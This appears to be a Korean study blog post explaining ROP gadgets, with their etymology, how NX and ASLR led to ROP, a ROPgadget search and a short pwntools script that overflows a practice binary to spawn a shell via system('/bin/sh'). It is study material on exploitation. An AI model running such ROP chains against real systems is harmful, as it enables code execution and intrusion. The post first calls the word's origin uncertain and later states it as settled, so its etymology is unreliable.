🔍 가젯(Gadget)의 유래 & 어원
"가젯(Gadget)"이라는 단어는 **기계 장치나 도구(tool)**를 의미하며,
작고 유용한 도구라는 뜻에서 유래했습니다.
💡 하지만, 보안(해킹)에서 "가젯(Gadget)"이란?
- Return-Oriented Programming(ROP) 기법에서
기존 바이너리 안에 있는 **작은 코드 조각(Instructions)**을 의미함. - 해커들이 새로운 코드를 삽입하지 않고,
이미 존재하는 코드 조각을 조립하여 원하는 기능을 수행하는 데 사용됨.
📖 1️⃣ 가젯(Gadget)이라는 단어의 어원
- "Gadget"은 **19세기 말(1886년경)**부터 사용된 단어.
- 어원은 확실하지 않지만, 몇 가지 설이 있음.
💡 가젯(Gadget)의 어원 설
어원 설명
프랑스어 "gâchette" | 🔫 총기류의 "방아쇠"를 의미함 (작지만 중요한 부품). |
프랑스어 "gaget" | 🏗️ 엔지니어링에서 작은 도구를 의미함. |
군사용 도구 | ⚙️ 19세기 말 영국과 미국에서 군사 장비의 소형 부품을 "가젯"이라 부름. |
💡 즉, "Gadget"은 작지만 유용한 도구를 의미하며,
ROP에서 작은 코드 조각을 의미하는 단어로 확장됨.
🚀 2️⃣ 가젯(Gadget)이 해킹 용어로 쓰이게 된 이유
✅ 보안(해킹)에서 "가젯"이란?
**Return-Oriented Programming(ROP)**이 등장하면서,
기존 바이너리에서 **작은 코드 조각(Instructions)**을
"레고 블록처럼" 조합하는 기법이 생김.
💡 기존 보안 기법(NX, ASLR)을 우회하려면?
✔ 스택에서 코드를 직접 실행할 수 없기 때문에
✔ 기존 바이너리에서 작은 코드 조각을 찾아 재활용해야 함.
👉 그래서 "가젯(Gadget)"이라는 단어가 사용됨!
🛠️ 3️⃣ "가젯(Gadget)"이 처음 등장한 논문
✅ ROP 기법과 "가젯" 개념을 공식적으로 소개한 논문
📜 Shacham, Hovav. "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)."
📅 Proceedings of CCS 2007 (Computer and Communications Security Conference), 2007.
🔹 이 논문에서 Return-Oriented Programming(ROP) 개념을 소개하며,
"Gadget"이라는 용어를 처음 사용.
📌 4️⃣ "가젯(Gadget)" 개념이 확장된 이유
1️⃣ 메모리 보호 기법 강화 (NX, ASLR) → 스택에서 직접 쉘코드를 실행할 수 없음.
2️⃣ 해커들은 새로운 코드를 삽입하는 대신, 기존 코드 조각을 조립해야 했음.
3️⃣ 그래서 "가젯(Gadget)" 개념이 생기고, ROP 공격이 발전.
4️⃣ 지금은 ROP 외에도 JOP(Jump-Oriented Programming), COP(Call-Oriented Programming) 등으로 확장됨.
🔚 결론
✅ "Gadget"이라는 단어는 프랑스어 "gâchette"(방아쇠)에서 유래.
✅ 원래는 작은 기계 장치를 의미했지만,
✅ 해킹(ROP)에서는 작은 코드 조각(Instructions)을 의미하게 됨.
✅ 기존 보안 기법(NX, ASLR)을 우회하기 위해 가젯이 활용됨.
✅ 2007년 논문에서 "Gadget" 개념이 공식적으로 등장.
💡 즉, "가젯"은 작은 기계 장치에서 유래했지만,
🛠️ 보안에서는 작은 코드 조각을 의미하게 된 것! 🚀
🔍 가젯(Gadget)이란?
가젯(Gadget)은 **ROP(Return-Oriented Programming)**에서 사용되는 **작은 코드 조각(Instructions)**입니다.
바이너리 안에 이미 존재하는 기계어 명령어들을 조합하여 해커가 원하는 동작을 수행하는데 사용됩니다.
🚀 "가젯"이 등장한 이유: 메모리 구조 & 보안 기법
💡 과거에는 해킹할 때 직접 쉘코드를 스택에 올려 실행하면 됐음.
- 하지만 요즘은 NX(Non-Executable) 보호 기법 때문에 스택에서 실행이 막혀 있음.
- 즉, 해커가 직접 코드를 스택에 넣어도 실행할 수 없음.
💡 그래서 해커들이 기존의 코드 조각(가젯)을 조합해서 원하는 동작을 만들게 됨!
- 프로그램 안에 이미 존재하는 명령어(가젯)를 활용하면, 새로운 코드를 삽입할 필요 없이 원하는 동작을 수행 가능함.
- 결국 **메모리의 한계성 & 보안 기법(NX, ASLR 등)**을 우회하기 위해 나온 개념!
🏗️ 1️⃣ 가젯을 건물 공사(레고 블록)로 비유하기
✅ 가젯 = 작은 블록, 전체적인 동작 = 완성된 건물 🏗️
- 가젯(Gadget)은 **"한 줄짜리 기계어 코드"**라고 보면 됨.
- pop rdi; ret 같은 간단한 명령어 하나가 가젯.
- 여러 개의 가젯을 조합하여 큰 동작을 만들 수 있음. (ex. system("/bin/sh") 실행)
💡 건물 짓기 vs ROP 공격 비교
🏗️ 건물 공사 🖥️ ROP 공격
벽돌(레고 블록)을 조립해서 건물을 만든다 | 가젯을 조합해서 ROP 체인을 만든다 |
새로운 재료(벽돌)를 직접 만들기 어려움 | NX 보호 때문에 새로운 쉘코드를 넣을 수 없음 |
이미 있는 재료(벽돌)를 잘 활용해야 함 | 프로그램에 존재하는 가젯을 조합해야 함 |
🛠️ 2️⃣ 가젯의 실제 예제
✅ 가젯(Gadget)이란?
가젯은 일반적인 프로그램 코드의 작은 조각입니다.
💡 예제: pop rdi; ret 가젯
0x401565: pop rdi; ret
이 가젯은:
- 스택에서 값을 가져와 rdi 레지스터에 저장 (pop rdi)
- 리턴 주소로 점프 (ret)
✅ 이런 간단한 가젯을 조합하여 원하는 동작을 수행 가능!
🔍 3️⃣ 가젯 찾는 방법
💡 해커들은 ROPgadget 툴을 사용하여 프로그램 안에서 쓸 수 있는 가젯을 찾음.
ROPgadget --binary ./chall | grep "pop rdi"
출력 예시:
0x401565 : pop rdi; ret
🔹 이걸 활용하면?
- rdi 레지스터에 /bin/sh 문자열 주소를 넣고 system()을 실행 가능! 🚀
💡 4️⃣ 가젯을 조합해서 공격하는 과정
✅ 가젯 활용 ROP 공격
목표: system("/bin/sh") 실행해서 쉘 획득!
from pwn import *
elf = ELF("./chall")
p = process("./chall")
# ROP 가젯 & 필요한 함수
pop_rdi = 0x0000000000401565 # pop rdi; ret
system = elf.symbols['system']
bin_sh = 0x4020c4 # "/bin/sh" 문자열 주소
ret = 0x000000000040101a # 스택 정렬용 ret 가젯
# ROP 페이로드 생성
payload = b"A" * 24 # BOF 발생
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(bin_sh) # "/bin/sh" 주소
payload += p64(ret) # 스택 정렬 맞추기
payload += p64(system) # system("/bin/sh") 실행
p.sendline(payload)
p.interactive()
📌 위 코드의 핵심:
- BOF로 리턴 주소를 덮음
- pop rdi; ret 가젯을 사용하여 rdi에 /bin/sh 주소 설정
- system() 실행하여 쉘 획득!
🚀 5️⃣ 가젯이 왜 필요한가? (메모리 구조 & 보호 기법)
💡 보안 기법(NX, ASLR 등) 때문에 직접 코드 실행이 어렵기 때문!
보호 기법 설명 해결 방법
NX(Non-Executable) | 스택에 있는 코드를 실행하지 못하게 막음 | ROP를 이용하여 가젯을 실행 |
ASLR(Address Space Layout Randomization) | 메모리 주소를 랜덤화하여 보호 | PLT, GOT, 가젯을 활용 |
🔚 결론
✅ 가젯(Gadget)이란?
- 프로그램 내 기존 코드 조각을 재사용하여 해커가 원하는 동작을 수행하는 방법.
- 메모리 보호 기법(NX) 때문에 등장한 개념.
- 여러 개의 가젯을 조합하여 ROP 공격을 실행.
✅ 왜 가젯을 써야 할까?
- 스택에 쉘코드를 삽입해 실행하는 방법은 NX 보호 때문에 불가능.
- 이미 존재하는 코드를 조합하여 보안 기법을 우회할 수 있음.
✅ ROP 가젯을 이용한 해킹 과정
- 버퍼 오버플로우(BOF) 발생하여 리턴 주소 덮기
- 가젯을 조합하여 system("/bin/sh") 실행
- 쉘 획득!
💡 결론적으로, 가젯은 "메모리의 한계를 극복하고 보안 기법을 우회하기 위한 도구"라고 보면 됨!
🚀 이제 ROPgadget을 활용해서 직접 가젯을 찾아보세요! 😆
'Study > System' 카테고리의 다른 글
ROP(Return-Oriented Programming) (0) | 2025.02.24 |
---|---|
ret(return) 가젯 (0) | 2025.02.24 |
RWX메모리를 만드는 mprotect(), mmap() (1) | 2025.02.22 |
GOT(Global Offset Table) (0) | 2025.02.18 |
보호 기법(Exploit Mitigation) (0) | 2025.02.18 |